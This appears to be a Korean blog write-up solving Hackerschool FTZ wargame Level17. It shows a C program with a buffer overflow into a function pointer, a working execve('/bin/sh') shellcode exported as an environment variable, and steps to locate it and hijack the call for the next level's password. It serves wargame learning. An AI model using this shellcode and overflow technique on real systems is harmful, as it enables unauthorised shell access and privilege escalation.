[FTZ] 해커스쿨 Level17

보안/시스템 보안 2018. 4. 27. 20:49
[해커스쿨] Level17


1. level17로 접속을 해서 hint를 불러들이면 위의 소스코드를 볼 수 있다. 



1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
 
void printit(){
    printf("Hello there!\n");
}
 
main(){
    int crap;
    void (*call)() = printit;
    char buf[20];
    fgets(buf, 48, stdin)
    setreuid(3098,3098);
    call();
}
cs







2. /home/level17 디렉토리에 있는 attackme 프로그램을 gdb 프로그램으로 디버깅을 하면

위와 같은 어셈블리어를 볼 수 있다.









1
export shellcode=$(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
cs


3. 위의 것을 프롬프트 창에 입력해주면 된다.






4. $ export 

명령어를 입력하면 shellcode가 선언된 것을 확인할 수 있다. 환경변수를 선언하는 이유는

프로그램이 실행될 때마다 메모리 주소가 다르기 때문에 환경변수를 선언해 준다.





5. /tmp 디렉토리에 getenv.c를 만들어서 위의 코드를 입력해주고, getenv 컴파일한 후 실행시켜

준다. 실행시키면 아까 선언한 shellcode의 환경변수의 메모리주소를 알 수 있다.








6. 다시 /home/level17 디렉토리로 이동을 해서 입력해주면 level18의 비밀번호를 얻을 수 있다.




why did you do it




'보안 > 시스템 보안' 카테고리의 다른 글

[FTZ] 해커스쿨 Level19  (0) 2018.04.30
[FTZ] 해커스쿨 Level18  (0) 2018.04.27
[FTZ] 해커스쿨 Level16  (0) 2018.04.25
[FTZ] 해커스쿨 Level15  (0) 2018.04.24
[FTZ] 해커스쿨 Level14  (0) 2018.04.23

설정

트랙백

댓글